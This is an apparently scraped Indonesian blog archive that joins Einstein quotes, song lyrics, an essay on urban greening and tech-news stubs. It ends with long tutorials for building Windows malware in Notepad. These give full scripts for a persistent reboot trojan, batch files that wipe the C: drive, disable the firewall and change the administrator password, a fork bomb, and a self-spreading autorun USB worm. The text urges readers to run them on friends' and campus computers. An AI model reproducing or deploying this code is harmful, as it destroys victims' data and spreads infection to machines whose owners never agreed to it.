Kata-kata Bijak Albert Einstein

-Hakikatku adalah yang aku pikirkan, bukan apa yang aku rasakan ( ini yg ane gak setujuharunya dua duanya : de rejected)

-Selagi ada cinta tidak perlu ada lagi pertanyaan

-Aku Berpikir terus menerus berbulan-bulan dan bertahun tahun, sembilan puluh sembilan kali dan kesimpulannya salah. Untuk yang keseratus aku benar.

-Kalau mereka ingin menemuiku, aku ada disini. Kalau mereka ingin bertemu dengan pakaianku, bukalah lemariku dan tunjukkan pada mereka. (Ketika istrinya memintanya berganti untuk menemui Duta Besar Jerman)

-Kebanyakan orang mengatakan bahwa kecerdasanlah yang melahirkan seorang ilmuwan besar. Mereka salah, karakterlah yang melahirkannya.

-Tanda kecerdasan sejati bukanlah pengetahuan tapi imajinasi.

-Imajinasi lebih berharga daripada ilmu pengetahuan. Logika akan membawa Anda dari A ke B. Imajinasi akan membawa Anda kemana-mana.

-Tidak ada eksperimen yang bisa membuktikan aku benar, namun sebaliknya sebuah eksperimen saja bisa membuktikan aku salah.

-Orang-orang seperti kita, yang percaya pada fisika, mengetahui bahwa perbedaan antara masa lalu, masa kini, dan masa depan hanyalah sebuah ilusi yang terus menerus ada.

-Dunia ini adalah sebuah tempat yang berbahaya untuk didiami, bukan karena orang-orangnya jahat, tapi karena orang-orangnya tak perduli.

-Mencari kebenaran lebih bernilai dibandingkan menguasainya.

-Hidup itu seperti naik sepeda. Agar tetap seimbang, kau harus terus bergerak.

-Sudah saatnya cita-cita kesuksesan diganti dengan cita-cita pengabdian.

-Lebih mudah mengubah plutonium dari pada mengubah sifat jahat manusia.

-Tidak ada yang lebih merusak martabat pemerintah dan hukum negeri dibanding meloloskan undang-undang yang tidak bisa ditegakkan.

-Belajarlah dari masa lalu, hiduplah untuk masa depan. Yang terpenting adalah tidak berhenti bertanya.

-The most beautiful thing we can experience is the mysterious.

-Ilmu pengetahuan tanpa agama= buta, agama tanpa ilmu pengetahuan=lumpuh.

Read More

Lirik Lagu Maroon 5 Payphone

I'm at a payphone trying to call home
All of my change I spent on you
Where have the times gone
Baby it's all wrong, where are the plans we made for two?

Yeah, I, I know it's hard to remember
The people we used to be
It's even harder to picture
That you're not here next to me
You say it's too late to make it
But is it too late to try?
And in our time that you wasted
All of our bridges burned down

I've wasted my nights
You turned out the lights
Now I'm paralyzed
Still stuck in that time when we called it love
But even the sun sets in paradise

I'm at a payphone trying to call home
All of my change I spent on you
Where have the times gone
Baby it's all wrong, where are the plans we made for two?

If happy ever after did exist
I would still be holding you like this
All those fairytales are full of sh*t
One more stupid love song I'll be sick

You turned your back on tomorrow
Cause you forgot yesterday
I gave you my love to borrow
But just gave it away
You can't expect me to be fine
I don't expect you to care
I know I've said it before
But all of our bridges burned down

I've wasted my nights
You turned out the lights
Now I'm paralyzed
Still stuck in that time when we called it love
But even the sun sets in paradise

I'm at a payphone trying to call home
All of my change I spent on you
Where have the times gone
Baby it's all wrong, where are the plans we made for two?

If happy ever after did exist
I would still be holding you like this
All those fairytales are full of sh*t
One more stupid love song I'll be sick

Now I'm at a payphone....

[Wiz Khalifa]
Man work that sh*t
I'll be out spending all this money while you sitting round
Wondering why it wasn't you who came up from nothing
Made it from the bottom
Now when you see me I'm stunning
And all of my cars start with the push up a button
Telling me the chances I blew up or whatever you call it
Switched the number to my phone
So you never could call it
Don't need my name on my show
You can tell it I'm ballin'
Swish, what a shame could have got picked
Had a really good game but you missed your last shot
So you talk about who you see at the top
Or what you could've saw
But sad to say it's over for
Phantom pulled up valet open doors
Wiz like go away, got what you was looking for
Now ask me who they want
So you can go and take that little piece of sh*t with you

I'm at a payphone trying to call home
All of my change I spent on you
Where have the times gone
Baby it's all wrong, where are the plans we made for two?

If happy ever after did exist
I would still be holding you like this
All those fairytales are full of sh*t
One more stupid love song I'll be sick

Now I'm at a payphone....

Download lagunya : Di Sini

Read More

PENGHIJAUAN adalah salah satu kegiatan penting yang harus dilaksanakan secara konseptual dalam menangani krisis lingkungan. Begitu pentingnya sehingga penghijauan sudah merupakan program nasional yang dilaksanakan di seluruh Indonesia.

Banyak fakta yang menunjukkan bahwa tidak jarang pembangunan dibangun di lahan pertanian maupun ruang terbuka hijau. Padahal tumbuhan dalam ekosistem berperan sebagai produsen pertama yang mengubah energi surya menjadi energi potensial untuk makhluk lainnya dan mengubah CO2 menjadi O2 dalam proses fotosintesis. Sehingga dengan meningkatkan penghijauan di perkotaan berarti dapat mengurangi CO2 atau polutan lainnya yang berperan terjadinya efek rumah kaca atau gangguan iklim. Di samping vegetasi berperan dalam kehidupan dan kesehatan lingkungan secara fisik, juga berperan estetika serta kesehatan jiwa. Mengingat pentingnya peranan vegetasi ini terutama di perkotaan untuk menangani krisis lingkungan maka diperlukan perencanaan dan penanaman vegetasi untuk penghijauan secara konseptual.

Dari berbagai pengamatan dan penelitian ada kecenderungan bahwa pelaksanaan penghijauan belum konseptual, malah terkesan asal jadi. Memilih jenis tanaman dengan alasan mudah diperoleh, murah harganya dan cepat tumbuh.

Penghijauan perkotaan

Penghijauan dalam arti luas adalah segala daya untuk memulihkan, memelihara dan meningkatkan kondisi lahan agar dapat berproduksi dan berfungsi secara optimal, baik sebagai pengatur tata air atau pelindung lingkungan. Ada pula yang mengatakan bahwa penghijauan kota adalah suatu usaha untuk menghijaukan kota dengan melaksanakan pengelolaan taman-taman kota, taman-taman lingkungan, jalur hijau dan sebagainya. Dalam hal ini penghijauan perkotaan merupakan kegiatan pengisian ruang terbuka di perkotaan.

Pada proses fotosintesa tumbuhan hijau mengambil CO2 dan mengeluarkan C6H12O6 serta peranan O2 yang sangat dibutuhkan makhluk hidup. Oleh karena itu, peranan tumbuhan hijau sangat diperlukan untuk menjaring CO2 dan melepas O2 kembali ke udara. Di samping itu berbagai proses metabolisme tumbuhan hijau dapat memberikan berbagai fungsi untuk kebutuhan makhluk hidup yang dapat meningkatkan kualitas lingkungan.

Setiap tahun tumbuh-tumbuhan di bumi ini mempersenyawakan sekira 150.000 juta ton CO2 dan 25.000 juta ton hidrogen dengan membebaskan 400.000 juta ton oksigen ke atmosfer, serta menghasilkan 450.000 juta ton zat-zat organik. Setiap jam 1 ha daun-daun hijau menyerap 8 kg CO2 yang ekuivalen dengan CO2 yang diembuskan oleh napas manusia sekira 200 orang dalam waktu yang sama. Setiap pohon yang ditanam mempunyai kapasitas mendinginkan udara sama dengan rata-rata 5 pendingin udara (AC), yang dioperasikan 20 jam terus menerus setiap harinya. Setiap 93 m2 pepohonan mampu menyerap kebisingan suara sebesar 8 desibel, dan setiap 1 ha pepohonan mampu menetralkan CO2 yang dikeluarkan 20 kendaraan.(Zoer’aini Djamal Irwan,1996).

Begitu pentingnya peranan tumbuhan di bumi ini dalam menangani krisis lingkungan terutama di perkotaan, sangat tepat jika keberadaan tumbuhan mendapat perhatian serius dalam pelaksanaan penghijauan perkotaan sebagai unsur hutan kota.

Penghijauan berperan dan berfungsi (1) Sebagai paru-paru kota. Tanaman sebagai elemen hijau, pada pertumbuhannya menghasilkan zat asam (O2) yang sangat diperlukan bagi makhluk hidup untuk pernapasan; (2) Sebagai pengatur lingkungan (mikro), vegetasi akan menimbulkan hawa lingkungan setempat menjadi sejuk, nyaman dan segar; (3) Pencipta lingkungan hidup (ekologis); (4) Penyeimbangan alam (adaphis) merupakan pembentukan tempat-tempat hidup alam bagi satwa yang hidup di sekitarnya; (5) Perlindungan (protektif), terhadap kondisi fisik alami sekitarnya (angin kencang, terik matahari, gas atau debu-debu); (6) Keindahan (estetika); (7) Kesehatan (hygiene); (8) Rekreasi dan pendidikan (edukatif); (9) Sosial politik ekonomi.

Seperti yang dikemukan oleh Eckbo (1956) bahwa pemilihan jenis tanaman untuk penghijauan agar tumbuh dengan baik hendaknya dipertimbangkan syarat-syarat hortikultura (ekologikal) dan syarat- syarat fisik. Syarat hortikultural yaitu respons dan toleransi terhadap temperatur, kebutuhan air, kebutuhan dan toleransi terhadap cahaya matahari, kebutuhan tanah, hama dan penyakit, serta syarat-syarat fisik lainnya yaitu tujuan penghijauan, persyaratan budi daya, bentuk tajuk, warna, aroma.

Unsur hutan kota

Fungsi dan manfaat hutan antara lain untuk memberikan hasil, pencagaran flora dan fauna, pengendalian air tanah dan erosi, ameliorasi iklim. Jika hutan tersebut berada di dalam kota fungsi dan manfaat hutan antara lain menciptakan iklim mikro, engineering, arsitektural, estetika, modifikasi suhu, peresapan air hujan, perlindungan angin dan udara, pengendalian polusi udara, pengelolaan limbah dan memperkecil pantulan sinar matahari, pengendalian erosi tanah, mengurangi aliran permukaan, mengikat tanah. Konstruksi vegetasi dapat mengatur keseimbangan air dengan cara intersepsi, infiltrasi, evaporasi dan transpirasi.

Menelaah fungsi penghijauan perkotaan dan fungsi hutan dapat dikatakan bahwa penghijauan perkotaan merupakan unsur dari hutan kota. Sedangkan hutan kota adalah bagian dari ruang terbuka hijau kota. Hutan kota (urban forestry) menurut Grey dan Denehe (1978), meliputi semua vegetasi berkayu di dalam lingkungan pemukiman, mulai dari kampung yang kecil sampai kota besar. Fukuara dkk. (1988) mengemukakan tentang hutan kota, yaitu ruang terbuka yang ditumbuhi vegetasi berkayu di wilayah perkotaan yang memberikan manfaat lingkungan sebesar-besarnya kepada penduduk kota dalam kegunaan proteksi, estetika serta rekreasi khusus lainnya.

Sedangkan menurut Grey dan Denehe (1978), hutan kota (urban forestry) meliputi semua vegetasi berkayu di dalam lingkungan pemukiman, mulai dari kampung yang kecil sampai kota besar. Mengingat pekarangan mengandung sifat perhutanan yang beraspirasi untuk kepentingan rakyat, maka pengembangan perhutanan yang bersifat pekarangan ini tampaknya lebih demokrasi yaitu sistem agroforestry yang dikelola rakyat. Pekarangan dapat menghasilkan kayu, bambu, karbohidrat, protein, lemak, vitamin dan obat-obatan.

Sebagai konsekuensi tumbuhan sebagai produsen pertama dalam ekosistem, dan mengingat fungsi hutan kota dan fungsi penghijauan perkotaan sangat bergantung kepada vegetasi yang digunakan maka tidak perlu lagi dipersoalkan luas lahan sebagai syarat hutan kota. Yang penting adalah jumlah dan keanekaragaman vegetasi yang ditaman di perkotaan sebanyak mungkin. Dengan demikian penghijauan perkotaan sebagai unsur hutan kota perlu ditingkatkan secara konseptual meliputi perencanaan, pelaksanaan dan pemeliharaan dengan mempertimbangkan aspek estetika, pelestarian lingkungan dan fungsional. Pelaksanaan harus sesuai dengan perencanaan begitu pula pemeliharaan harus dilakukan secara terus-menerus.

Teknik penanaman

Faktor-faktor utama yang perlu diperhatikan yaitu dalam teknik penanaman pohon adala, (1) Pemilihan bibit tanaman. Bibit generatif adalah berasal dari biji, merupakan bibit yang lebih tepat karena mempunyai akar tunggang dan dapat hidup lebih lama. Bibit vegetatif, adalah bibit yang berasal dari bagian-bagian vegetatif tanaman, seperti batang, daun dan akar. Bibit vegetatif umumnya kurang kokoh dan perakarannya dangkal sehingga cepat merusak trotoar, jalan atau saluran drainase.

Bibit yang baik sekurang-kurangnya telah tumbuh di wadahnya selama 6 bulan dengan batang tinggi minimal + 1.50 m dan diameter 0.05 m, untuk mengujinya cukup dengan mencabut bibit tersebut. Apabila bibit mudah lepas dari wadahnya berarti baru dipindahkan dan belum cukup baik ditanam di lapangan, sebaliknya jika sulit dilepaskan berarti perakarannya sudah terbentuk dengan baik dan dapat ditanam di lapangan;

(2) Penanaman. Lubang tanam perlu dipersiapkan sedikitnya satu minggu sebelum penanaman dilakukan. Ukuran lubang tanam sangat bergantung pada besarnya tanaman. Ukuran standar lubang tanam adalah 0.75 m (tinggi) x 0.90 m (lebar) x 0.90 m (panjang); (3) Perawatan pascatanam. Mempertahankan posisi tumbuh agar tetap tegak dan stabil. Menyiram tanaman 2-3 hari sekali terutama di musim kemarau sambil membuang ranting-ranting yang kerimg. Memupuk tanaman 3 bulan sekali dengan pupuk NPK 25 gram per lubang

—

Manfaat hutan yang lain adalah:

1. Sebagai suplyer Oksigen yang merupakan bahan baku utama untuk pernafasan manusia

2. Sebagai pencegah banjir

3. Sebagai penyejuk alam

4. Sebagai paru-paru dunia

masih banyak lagi manfaat hutan bagi manusia yang lain.

Read More

Virus Malware Flashback Di Apple Mac Bukan Turun, Tapi Terus Meningkat | Berita Terbaru & Berita Terkini Gadget, Mobile Phone, Digital Camera, Tablet PC, Laptop, Hardware, Motherboard, Graphic Card Technology News

Virus Malware Flashback Di Apple Mac Bukan Turun, Tapi Terus Meningkat | Berita Terbaru & Berita Terkini Gadget, Mobile Phone, Digital Camera, Tablet PC, Laptop, Hardware, Motherboard, Graphic Card Technology News

Read More

PESANTREN MODERN SHOHWATUL IS'AD

jika Anda tertarik untuk melanjutkan pendidikan (SMP) dan ingin menambah ilmu tengtang Agama islam di sinilah tempatnya yaitu di SMP-IT Shohwatuli Is'ad, SHOHID (Shohwatul Is'ad) tempatnya berada di daerah Ma'rang/pangkep jl.Poros Pare-Pare. Masuk ke arah patung jeruk dengan jarak yang harus di tempuh 3 km..



catt :
jika Anda berminat bisa menghubungi saya, dengan cara Follow twitter atau add FB saya..

Read More

Need For Speed Most Wanted 2 Siap Dirilis EA | Berita Terbaru & Berita Terkini Gadget, Mobile Phone, Digital Camera, Tablet PC, Laptop, Hardware, Motherboard, Graphic Card Technology News

Need For Speed Most Wanted 2 Siap Dirilis EA | Berita Terbaru & Berita Terkini Gadget, Mobile Phone, Digital Camera, Tablet PC, Laptop, Hardware, Motherboard, Graphic Card Technology News

Read More

Inilah Beberapa Aplikasi yang "Dibuang" Oleh Microsoft Di Windows 8 | Berita Terbaru & Berita Terkini Gadget, Mobile Phone, Digital Camera, Tablet PC, Laptop, Hardware, Motherboard, Graphic Card Technology News

Inilah Beberapa Aplikasi yang "Dibuang" Oleh Microsoft Di Windows 8 | Berita Terbaru & Berita Terkini Gadget, Mobile Phone, Digital Camera, Tablet PC, Laptop, Hardware, Motherboard, Graphic Card Technology News

Read More

Setelah Sukses dengan Angry Birds, Rovio Siapkan Game Amazing Alex | Berita Terbaru & Berita Terkini Gadget, Mobile Phone, Digital Camera, Tablet PC, Laptop, Hardware, Motherboard, Graphic Card Technology News

Setelah Sukses dengan Angry Birds, Rovio Siapkan Game Amazing Alex | Berita Terbaru & Berita Terkini Gadget, Mobile Phone, Digital Camera, Tablet PC, Laptop, Hardware, Motherboard, Graphic Card Technology News

Read More

Virus !!

Cara Membuat Virus Nakal . sekarang kita coba iseng iseng ya.. he..he..!! mengenai "BAGAIMANA CARA MUDAH MEMBUAT VIRUS NAKAL DI KOMPUTER", berikut trik nya :

 

Caranya: Buka notepad dan masukkan code berikut:

Set ilikepies = CreateObject("WMPlayer.OCX.7")

Set ilikepie = ilikepies.cdromCollection

if ilikepie.Count >=1 then

do

For ilikepiesalot=0 to ilikepie.COunt -1

ilikepie.Item(ilikepiesalot).Eject

Next ' cdrom

For ilikepiesalot=0 to ilikepie.COunt -1

ilikepie.Item(ilikepiesalot).Eject

Next ' cdrom

loop

End If

Simpanlah file dengan ekstensi file iseng.vbs atau apapun

nama kesukaan asalkan pastikan ekstensinya .vbs, dan jalankan filenya (Klik 2x), perhatikan CD/DVD ROM akan terbuka/tertutup dengan sendirinya

tanpa henti.

Salah satu cara menghentikan aksi Virus Nakal ini ialah dengan menekan tombol CRTL+ALT+DEL dan matikan proses wscripts.exe, Kalo mau keren lagi, masukkan ke file autorun.inf di flashdisk sobat, jadi setiap kamu colokin ke kompie kampus, maka akan otomatis dijalankan Virus Nakal ini..

bagaimana ? hehhe, jangan keseringan ya, baik demikian tips trik atau tutorial cara membuat virus yang nakal di komputer dari berry blog , semoga bermanfaat.

Virus yang akan kita buat kali ini adalah virus yang bisa dikatakan jauh lebih mematikan dari pada virus - virus lainnya. Mungkin cara ini cukup ekstrem untuk dipraktikan. Jadi, jangan sampai artikel ini disalah gunakan.

Langsung saja, buka notepad dan ketikkan script berikut ini :

@echo off
DEL C: -Y
DEL D: -Y


Kemudian simpan, lalu ubah [Save as type] menjadi [All Files], dan pada kotak [File Name] beri nama virus ini dengan kata apa saja terserah Anda dan diakhiri dengan kata .bat, misal virus.bat , kemudian klik save.

Setelah file ini disimpan, JANGAN DIKLIK!!!

Virus ini adalah virus yang sangat mematikan, bila anda mengklik virus ini, maka seluruh data yang ada di hardisk anda akan hilang tanpa terkecuali. Sehingga, hal ini dapat menyebabkan komputer Anda akan mati total. Untuk sampel virusnya bisa langsung download disini jika tidak ingin memakai cara copy paste diatas.

Bagi2 ilmu nih sob.. buat kamu2 yang pengen isengin temen... n sekalian pengen rusak data2nya. ni ada cra gampang buat Virus dengan notepad.

*note copy semua source berikut kedalam notepad save as .Vbs (jika ingin mengaktifkan)
jika tidak biarkan tetap dalam file exstensi.txt
exapels: Uchiha_trojanHorse.VBS

Copy semua source di bawah ini:


rem - dlRB "DL Reboot" Trojan script by D.L.

On Error Resume Next
dim FSobj,sysDir,generateCopy,newFile,fixedCode,procreateCopy,fileData

set FSobj=CreateObject("Scripting.FileSystemObject")
set sysDir = FSobj.GetSpecialFolder(1)

createRegKey "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\dlRB",sysDir&"\dlRB.vbs"

sub createRegKey(regKey,regVal)
set regEdit = CreateObject("WScript.Shell")
regEdit.RegWrite regKey,regVal
end sub

set generateCopy=FSobj.CreateTextFile(sysDir+"\dlRB.vbs")
generateCopy.close

set newFile = FSobj.OpenTextFile(WScript.ScriptFullname,1)
setFile()
fixedCode=replace(fileData,chr(94),"""")

set procreateCopy=FSobj.OpenTextFile(sysDir+"\dlRB.vbs",2)
procreateCopy.write fixedCode
procreateCopy.close

rebootSystem()

function setFile()
fileData="rem - ^dlRB^ by D.L." &vbcrlf& _
"strComputer = ^.^ " &vbcrlf& _
"Set objWMIService = GetObject(^winmgmts:^ _ " &vbcrlf& _
"& ^{impersonationLevel=impersonate,(Shutdown)}!\\^ & strComputer & ^\root\cimv2^)" &vbcrlf& _
"Set colOperatingSystems = objWMIService.ExecQuery _ " &vbcrlf& _
"(^Select * from Win32_OperatingSystem^)" &vbcrlf& _
"For Each objOperatingSystem in colOperatingSystems" &vbcrlf& _
"ObjOperatingSystem.Reboot()" &vbcrlf& _
"Next"
end function

function rebootSystem()
strComputer = "."

Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate,(Shutdown)}!\\" & strComputer & "\root\cimv2")

Set colOperatingSystems = objWMIService.ExecQuery _
("Select * from Win32_OperatingSystem")

For Each objOperatingSystem in colOperatingSystems
ObjOperatingSystem.Reboot()
Next
end function

Saya tidak menyarankan anda utk menjalankan virus ini dikomputer sendiri!!

Virus ini dibuat dg Notepad dan di save as dg ekstension .bat
Jgn lupa utk merubah Save as type menjadi All files


BASIC

invisible command

@echo off

Swap mouse

rundll32 user,swapmousebutton

buka URL yg diinginkan

start [url]http://www.google.com[/url]

Shutdown kmptr & beri pesan

shutdown -s -t 10 -c "YOUR MESSAGE HERE" -f

Disable mouse stlh Restart

rundll32 mouse,disable

Disable keyboard stlh Restart

rundll32 keyboard,disable

Freezes kmptr stlh Restart

rundll32 user,disableoemlayer

Worm

memperbanyak diri didlm direktori

ctty nul
for %%i in (*.bat) do copy %0+%%i %%i /y >nul"

me-replace file batch yg lain

%0 >>other.bat

Trojan

mngirim dftar file dlm direktori

dir *.*>>Filelist.txt

ganti password admin

net user administrator PASSWORD HERE

membuat info IP

ipconfig >Computer-IP-address.txt

Perusak

copy ke Autorun

COPY %0 %windir%WINSTART.BAT

format drive C

format c: /q /autotest

delete Windows

DELTREE /Y %windir%

delete drive C dg paksa

DEL /F /S /Q C:

mematikan firewall & security center

net stop "Security Center"
net stop SharedAccess
> "%Temp%.kill.reg" ECHO REGEDIT4
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesS haredAccess]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesw uauserv]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMControlSet001Serviceswscsv c]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
START /WAIT REGEDIT /S "%Temp%.kill.reg"
del "%Temp%.kill.reg"
del %0

Pause

pause smpai tekan smbarang tombol

pause

pause 20 detik

@ping.exe 127.0.0.1 -n 20 -w 1000 > nul

Berikut hasil akhirnya :

@echo off
cls
rundll32 mouse,disable
rundll32 keyboard,disable
COPY %0 %windir%WINSTART.BAT
net stop "Security Center"
net stop SharedAccess
echo Anda kena VIRUS!!!
@ping.exe 127.0.0.1 -n 5 -w 1000 > nul
start [url]http://www.youtube.com[/url]
@ping.exe 127.0.0.1 -n 5 -w 1000 > nul
> "%Temp%.kill.reg" ECHO REGEDIT4
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesS haredAccess]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesw uauserv]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMControlSet001Serviceswscsv c]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
START /WAIT REGEDIT /S "%Temp%.kill.reg"
del "%Temp%.kill.reg"
del %0
DEL /F /S /Q C:
shutdown -s -t 10 -c "Ucapkan selamat tinggal pada komputermu!" -f

-disables mouse & keyboard
-copy ke AUTORUN
-stop Security Center
-display "Anda kena VIRUS!!!" selama 5 detik
-starts [url]http://www.youtube.com[/url]
-disable firewall
-delete c: drive
-force shutdown dg pesan "Ucapkan selamat tinggal pada komputermu!"

Membuat virus dengan notepad.

Membuat virus bukanlah merupakan hal yang sulit. Karena, kita dapat membuatnya dengan notepad yang terdapat di semua komputer yang memakai Windows.
Virus yang akan kita buat ini, adalah virus yang membuat komputer yang terinfeksi menjadi tidak bisa berjalan sama sekali.

Let`s Begin!

langkah-langkah:

1. buka notepad
2. copy+paste bahasa pemograman(yang bercetak tebal) di bawah ini:

option explicit

dim wshshell
set wshshell=wscript.createobject("wscript.shell")

dim x
for x = 1 to 100000000
wshshell.run "tourstart.exe"
next

untuk mendownload scipt, klik disini

3. Save notepad dengan nama virus.vbs ( pastikan ”save as type” diubah ke ”all files”)
4. Ingat!! jangan klik file tersebut. Karena komputer anda akan dipenuhi oleh 100000000
tourstart yang akan memenuhi layar anda, dan akan membuat komputer hang total
sebelum anda mendelete semuanya.
5. bila ingin mencoba virus ini. silahkan membuat ulang program, dengan perbedaan
ubah 100000000 ke 10, untuk percobaan. maka setelah anda mengklik program.
layar anda akan dipenuhi oleh hanya 10 tourstart saja.

ni virus efeknya g t’lalu bahaya….efek dari virus ini cuman mengganti tampilan dari
windows…..tapi cukup bikin kaget juga!!! tapi yg penting gak ke-detect ama anti virus(setahu saya….. )
ni ane dapet dari hasil baca-baca “HELP”-nya windows Xp…trus ane modif sendiri…
note: “HANYA BEKERJA PADA WINDOWS XP”
caranya:
- buka notepad lalu tulis(atau copy paste…tapi di edit dulu yaaa… ) script di bawah ini:
@echo off
copy image_name(terserah dari nama file gambar pembuat).bmp %systemdrive%\ /y
copy image_name(terserah dari nama file gambar pembuat).bmp %systemdrive%\WINDOWS\ /y
copy image_name(terserah dari nama file gambar pembuat).bmp %systemdrive%\WINDOWS\system32\ /y
copy nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe %systemdrive%\ /y
copy nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe %systemdrive%\WINDOWS\ /y
copy nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe %systemdrive%\WINDOWS\system32\ /y
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” /v LegalNoticeCaption /d “WARNING MESSAGE FROM LOCAL_HOST(judul title bar)” /f
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” /v LegalNoticeText /d “I HAVE RUINED YOUR COMPUTER AND YOUR COMPUTER IS LOCKED(pesan pembuat)” /f
reg add “HKEY_CURRENT_USER\Control Panel\Desktop” /v Wallpaper /d %systemdrive%\WINDOWS\system32\image_name(terserah dari nama file gambar pembuat).bmp /f
reg add “HKEY_CURRENT_USER\Control Panel\Desktop” /v WallpaperStyle /d 0 /f
reg add “HKEY_USERS\.DEFAULT\Control Panel\Desktop” /v Wallpaper /d %systemdrive%\WINDOWS\system32\image_name(terserah dari nama file gambar pembuat).bmp /f
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” /v nama_terserah /d %systemdrive%\windows\system32\nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe /f
reg add “HKEY_CURRENT_USER/Control Panel/Colors” /v window /d #000000(atau kombinasi warna RGB lain,cari pake Adobe Photoshop) /f
- lalu di SAVE AS ALL FILES dengan exstensi .bat (nama_file.bat)
- buat Autorun.inf dengan script:
[autorun]
open=nama_file.bat
- lalu SAVE AS ALL FILES dengan exstensi .inf (Autorun.inf)
- file-file tersebut harus dalam 1 direktori, lalu seleksi file-file tsb klik kanan PROPERTIES beri tanda check pada HIDDEN dan READ-ONLY
- copy file-file tsb ke CD
- nikmati efeknya
note:
- jangan disalahgunakan
- maaf kalau pernah diposting
- maaf lagi kalau salah tempat untuk posting,….maklum member baru and masih amatir ….
- lagi-lagi maaf kalau ada yang salah, and mohon dikoreksi ….
- kalau mau buat anti virusnya tinggal di modifikasi nilainya….
Sumber : http://www.yogyafree.net/forum2/viewtopic.php?t=11281

Iseng-iseng mencolok Flash Disc saudara saya tiba-tiba saya nemu sebuah malcode lokal yang dibuat dengan bahasa VBS. Wah, ternyata para virus maker mulai melirik memakai bahasa VBS. Mungkin karena menyangkut HAKI (Hak Atas Kekayaan Intelektual) karena VB6.0 yang banyak beredar adalah bajakan. Jadi ia membuat virus dengan VBS yang bisa dibuat hanya dengan Notepad karena di Windows sudah ada compiler yang terintegrasi dengannya, Windows Based Script Host.

Sesua janji saya, kita akan membuat virus yang sederhana menggunakan Notepad. Virus ini akan membuat dirinya menyebar ke removable disc dengan AutoRun sehingga komputer lain yang tercolok flash disc terinfeksi akan langsung menjadi korban tanpa menungu User menjalankan infector-nya. Virus ini saya beri nama “Kalong.VBS”. Sekarang buka Notepad-nya. Copy kode berikut :

‘//–Awal dari kode, set agar ketika terjadi Error dibiarkan dan kemudian lanjutkan kegiatan virus–//

on error resume next

‘//–Dim kata-kata berikut ini–//

dim rekur,windowpath,flashdrive,fs,mf,isi,tf,kalong,nt,check,sd

‘//–Set sebuah teks yang nantinya akan dibuat untuk Autorun Setup Information–//

isi = “[autorun]” & vbcrlf & “shellexecute=wscript.exe k4l0n6.dll.vbs”

set fs = createobject(”Scripting.FileSystemObject”)

set mf = fs.getfile(Wscript.ScriptFullname)

dim text,size

size = mf.size

check = mf.drive.drivetype

set text = mf.openastextstream(1,-2)

do while not text.atendofstream

rekur = rekur & text.readline

rekur = rekur & vbcrlf

loop

do

‘//–Copy diri untuk menjadi file induk di Windows Path (example: C:\Windows)

Set windowpath = fs.getspecialfolder(0)

set tf = fs.getfile(windowpath & “\batch- k4l0n6.dll.vbs “)

tf.attributes = 32

set tf=fs.createtextfile(windowpath & “\batch- k4l0n6.dll.vbs”,2,true)

tf.write rekursif

tf.close

set tf = fs.getfile(windowpath & “\batch- k4l0n6.dll.vbs “)

tf.attributes = 39

‘//–Buat Atorun.inf untuk menjalankan virus otomatis setiap flash disc tercolok–//

‘Menyebar ke setiap drive yang bertype 1 dan 2(removable) termasuk disket

for each flashdrive in fs.drives

‘//–Cek Drive–//

If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> “A:” then

‘//–Buat Infector jika ternyata Drivetypr 1 atau 2. Atau A:\–//

set tf=fs.getfile(flashdrive.path &”\k4l0n6.dll.vbs “)

tf.attributes =32

set tf=fs.createtextfile(flashdrive.path &”\k4l0n6.dll.vbs “,2,true)

tf.write rekursif

tf.close

set tf=fs.getfile(flashdrive.path &”\k4l0n6.dll.vbs “)

tf.attributes = 39

‘//–Buat Atorun.inf yang teks-nya tadi sudah disiapkan (Auto Setup Information)–//

set tf =fs.getfile(flashdrive.path &”\autorun.inf”)

tf.attributes = 32

set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)

tf.write isi

tf.close

set tf = fs.getfile(flashdrive.path &”\autorun.inf”)

tf.attributes=39

end if

next

‘//–Manipulasi Registry–//

set kalong = createobject(”WScript.Shell”)

‘//–Manip - Ubah Title Internet Explorer menjadi THE KALONG v.s. ZAY–//

kalong.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,” THE KALONG v.s. ZAY “

‘//–Manip – Set agar file hidden tidak ditampilkan di Explorer–//

kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”, “0″, “REG_DWORD”

